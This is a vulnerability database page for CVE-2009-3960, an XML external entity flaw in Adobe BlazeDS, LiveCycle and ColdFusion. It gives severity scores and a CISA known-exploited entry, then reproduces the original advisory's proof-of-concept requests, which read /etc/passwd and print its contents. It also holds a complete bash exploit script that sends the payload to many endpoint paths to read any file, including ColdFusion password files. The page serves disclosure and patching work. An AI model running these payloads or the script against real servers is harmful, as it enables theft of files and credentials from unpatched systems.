Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE Other |
No informations. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
6.5 |
MEDIUM |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
4.3 |
|
AV:N/AC:M/Au:N/C:P/I:N/A:N |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Adobe BlazeDS Information Disclosure Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Known
Added : 2022-03-06 23h00 +00:00
Action is due : 2022-09-06 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 11529
Publication date : 2010-02-21 23h00 +00:00
Author : Roberto Suggi Liverani
EDB Verified : Yes
( , ) (,
. `.' ) ('. ',
). , ('. ( ) (
(_,) .`), ) _ _,
/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_='`"``=.
presents..
Multiple Adobe Products
XML External Entity And XML Injection Vulnerabilities
CVE: CVE-2009-3960
Adobe PSIRT: APSB10-05 - http://www.adobe.com/support/security/bulletins/apsb10-05.html
Link: http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf
+-----------+
|Description|
+-----------+
Security-Assessment.com discovered that multiple Adobe
products with different Data Services versions are
vulnerable to XML External Entity (XXE) and XML
injection attacks.
XML external Entities injection allows a wide range of
XML based attacks, including local file disclosure,
TCP scans and Denial of Service condition, which can
be achieved by recursive entity injection, attribute
blow up and other types of injection.
For more information about the implications associated
to this vulnerability, refer to the RFC2518 (17.7
Implications of XML External Entities):
http://www.ietf.org/rfc/rfc2518.txt
+--------------+
|Product Review|
+--------------+
Adobe Data Services components provide Flex/RIA
applications with data messaging, remoting and
management capabilities.
The discovered vulnerabilities affect the HTTPChannel
servlet classes which are respectively
“mx.messaging.channels.HTTPChannel” and
“mx.messaging.channels.SecureHTTPChannel”. These
classes are part of the Data Services Messaging
classes and can be found in the
flex-messaging-common.jar Java archive.
The HTTPChannel transports data in the AMFX format,
which is the text-based XML representation of AMF.
The HTTPChannel endpoints are defined in the
services-config.xml file, located within the
Flex/WEB-INF folder of the application.
By default, the HTTPChannel classes are mapped to
the following endpoints:
1. http://{server.name}:{server.port}/{context.root}/messagebroker/http
2. https://{server.name}:{server.port}/{context.root}/messagebroker/httpsecure
Note that the HTTPChannel may be mapped to different
endpoints.
This depends on the deployed application and the
framework in use (e.g. BlazeDS, Adobe LiveCycle
Data Services, etc.).
+--------------------------------------------+
|Exploitation - XML External Entity Injection|
+--------------------------------------------+
XML entities can be declared and included within AMFX
requests passed to the HTTPChannel. The XML parser
parses the payload and successfully processes
injected entities.
The following table shows an example of XML external
entity injection which leads to local file disclosure.
The AMFX request is sent via the HTTPChannel endpoint
in BlazeDS.
XML External Entity Injection – Local File Disclosure
PoC – BlazeDS – Request
POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [ <!ENTITY x3 SYSTEM "/etc/passwd"> ]>
<amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx">
<body>
<object type="flex.messaging.messages.CommandMessage">
<traits>
<string>body</string><string>clientId</string><string>correlationId</string>
<string>destination</string><string>headers</string><string>messageId</string>
<string>operation</string><string>timestamp</string><string>timeToLive</string>
</traits><object><traits />
</object>
<null /><string /><string />
<object>
<traits>
<string>DSId</string><string>DSMessagingVersion</string>
</traits>
<string>nil</string><int>1</int>
</object>
<string>&x3;</string>
<int>5</int><int>0</int><int>0</int>
</object>
</body>
</amfx>
XML External Entity Injection – Local File Inclusion
PoC – BlazeDS – Response
<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><header name="AppendToGatewayUrl" mustUnderstand="true">
<string>;jsessionid=2191D3647221B72039C5B05D38084A42</string></header>
<body targetURI="/onResult" responseURI="">
<object type="flex.messaging.messages.AcknowledgeMessage">
<traits><string>timestamp</string><string>headers</string>
<string>body</string><string>correlationId</string>
<string>messageId</string><string>timeToLive</string>
<string>clientId</string><string>destination</string>
</traits><double>1.257387140632E12</double><object>
<traits><string>DSMessagingVersion</string>
<string>DSId</string></traits><double>1.0</double>
<string>BDE929FE-270D-3B56-1061-616E8B938429</string>
</object><null/><string>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
[...]
The above injection was successfully tested on
multiple Adobe products, as shown below:
1. Product: Adobe BlazeDS 3.2.0.39
Linux Ubuntu 9.04 / Tomcat 6.0.14
Endpoint URIs:
{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure
Methods: POST, GET
Protocols: HTTP, HTTPS
2. Adobe LiveCycle Data Services ES2 3.0
Windows XP SP2 / Tomcat 6.0.14
Endpoint URIs:
{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure
Methods: POST, GET
Protocols: HTTP, HTTPS
3. ColdFusion 9.0
Windows XP SP2 / Tomcat 6.0.14
Endpoint URIs:
{server.name}:{server.port}/
{context.root}/flex2gateway/http
{server.name}:{server.port}/
{context.root}/flex2gateway/httpsecure
Methods: POST, GET
Protocols: HTTP, HTTPS
4. Adobe LiveCycle ES2
Windows XP SP2 / IBM Websphere 7.0
Endpoint URIs:
{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure
Methods: POST, GET
Protocols: HTTP, HTTPS
The vendor has released several patches for this
vulnerability. See the Solution section of this
document for more information.
+----------------------------+
|Exploitation - XML Injection|
+----------------------------+
The XML parser lacks of proper input and output
validation controls. Security-Assessment.com managed
to inject arbitrary XML content which was returned
in the XML response.
The following table shows an XML injection in the
BlazeDS HTTPChannel. The injected payload becomes
part of the response. In this case, injection is
possible via the “responseURI” attribute.
XMLInjection – BlazeDS - Request
POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf
<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><body targetURI="" responseURI="d" injectedattr="anything"><null/>
</body></amfx>
XMLInjection – BlazeDS - Response
<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><body targetURI="d" injectedattr="anything" responseURI=""><null/></body></amfx></body></amfx>
The above injection was successfully tested on
multiple Adobe products, as shown below:
1. Product: Adobe BlazeDS 3.2.0.39
Linux Ubuntu 9.04 / Tomcat 6.0.14
Endpoint URIs:
{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure
Methods: POST, GET
Protocols: HTTP, HTTPS
2. Adobe LiveCycle Data Services ES2 3.0
Windows XP SP2 / Tomcat 6.0.14
Endpoint URIs:
{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure
Methods: POST, GET
Protocols: HTTP, HTTPS
3. ColdFusion 9.0
Windows XP SP2 / Tomcat 6.0.14
Endpoint URIs:
{server.name}:{server.port}/
{context.root}/flex2gateway/http
{server.name}:{server.port}/
{context.root}/flex2gateway/httpsecure
Methods: POST, GET
Protocols: HTTP, HTTPS
4. Adobe LiveCycle ES2
Windows XP SP2 / IBM Websphere 7.0
Endpoint URIs:
{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure
Methods: POST, GET
Protocols: HTTP, HTTPS
The vendor has released several patches for this
vulnerability. See the Solution section of this
document for more information.
+--------+
|Solution|
+--------+
Security-Assessment.com follows responsible
disclosure and promptly contacted the vendor after
discovering the issues. The vendor was contacted on
the 6th November 2009 and a reply was received on the
same day. The vendor released security patches on
the 11th February 2010.
The security patches can be downloaded at the
following website:
http://www.adobe.com/support/security/bulletins/apsb10-05.html
+------+
|Credit|
+------+
Discovered and advised to Adobe in
November 2009 by Roberto Suggi Liverani of Security-
Assessment.com. Personal Page: http://malerisch.net/
For full details regarding this vulnerability
download the PDF from our website:
http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf
+---------+
|Greetings|
+---------+
Bug found at Hack in The Sun 2009, Waiheke Island.
+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+
Security-Assessment.com is a New Zealand based world
leader in web application testing, network security
and penetration testing. Security-Assessment.com
services organisations across New Zealand, Australia,
Asia Pacific, the United States and the United
Kingdom.
Roberto Suggi Liverani
Exploit Database EDB-ID : 41855
Publication date : 2017-04-06 22h00 +00:00
Author : Tess Sluyter
EDB Verified : No
#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#
PROGNAME="$(basename $0)" # This script
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
EXITCODE="0" # Assume success, changes on errors
CURL="/usr/bin/curl" # Other locations are detected with "which"
SSL="0" # Overridden by -s
DEBUG="0" # Overridden by -d
BREAKFOUND="0" # Overridden by -b
TARGETHOST="" # Overridden by -h
TARGETPORT="8400" # Overridden by -p
READFILE="/etc/passwd" # Overridden by -f
################################## OVERHEAD SECTION
#
# Various functions for overhead purposes.
#
# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
LEVEL="$1"
MESSAGE="$2"
# You may switch the following two, if you need to log to syslog.
#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}
ExitCleanup() {
EXITCODE=${1}
rm -f ${SCRATCHFILE}* >/dev/null 2>&1
echo ""
exit ${EXITCODE}
}
# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
local IP=${1}
local STAT=1
if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
then
OIFS=$IFS; IFS='.'
IP=(${IP})
IFS=$OIFS
[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
stat=$?
fi
return $stat
}
# Function to output help information.
show-help() {
echo ""
cat << EOF
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
-? Show this help message.
-d Debug mode, outputs more kruft on stdout.
-s Use SSL / HTTPS, instead of HTTP.
-b Break on the first valid answer found.
-h Target host
-p Target port, defaults to 8400.
-f Full path to file to grab, defaults to /etc/passwd.
This script exploits a known vulnerability in a set of Adobe applications. Using one
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
normally inaccessible.
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'
This script relies on CURL, so please have it in your PATH.
EOF
}
# Parsing and verifying the passed parameters.
OPTIND=1
while getopts "?dsbh:p:f:" opt; do
case "$opt" in
\?) show-help; ExitCleanup 0 ;;
d) DEBUG="1" ;;
s) SSL="1" ;;
b) BREAKFOUND="1" ;;
h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
then TARGETHOST=${OPTARG}
else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
fi ;;
p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
else TARGETPORT=${OPTARG}
fi ;;
f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
else READFILE=${OPTARG}
fi ;;
*) show-help; ExitCleanup 0 ;;
esac
done
[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."
################################## GETTING TO WORK
#
#
PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
"/lcds-samples/messagebroker/httpsecure")
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "XML file sent to target host reads as follows:"
echo "======================================"
cat ${SCRATCHFILE}
echo "======================================"
echo ""
fi
let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1
for ADOBEPATH in "${PATHLIST[@]}"
do
[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"
# Header contents based on a tcpdump capture of original exploit being
# run from Metasploit.
HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""
CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"
# The tr command dikes out any non-ASCII characters which might mess with output.
CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)
# Output is pretty garbled and the HTTP return code is enclosed in double quotes.
# I need to grab the last 5 chars (includes NULL EOF) and remove the ".
CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
logger DEBUG "Output from CURL reads as follows:"
echo "======================================"
echo "${CURLOUTPUT}"
echo "======================================"
echo ""
fi
logger INFO "${CURLCODE} for ${URI}"
if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]
then
echo "Read from ${URI}:"
echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
fi
if [[ ${DEBUG} -gt 0 ]]
then
echo -e "\nReady to continue with the next URI? [y/n]: \c"
read READY
case ${READY} in
y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
esac
fi
done
ExitCleanup 0
Products Mentioned
Configuraton 0
Adobe>>Blazeds >> Version To (including) 3.2
Adobe>>Coldfusion >> Version 7.0.2
Adobe>>Coldfusion >> Version 8.0
Adobe>>Coldfusion >> Version 8.0.1
Adobe>>Coldfusion >> Version 9.0
Adobe>>Flex_data_services >> Version 2.0.1
Adobe>>Livecycle >> Version 8.0.1
Adobe>>Livecycle >> Version 8.2.1
Adobe>>Livecycle >> Version 9.0
Adobe>>Livecycle_data_services >> Version 2.5.1
Adobe>>Livecycle_data_services >> Version 2.6.1
Adobe>>Livecycle_data_services >> Version 3.0
References
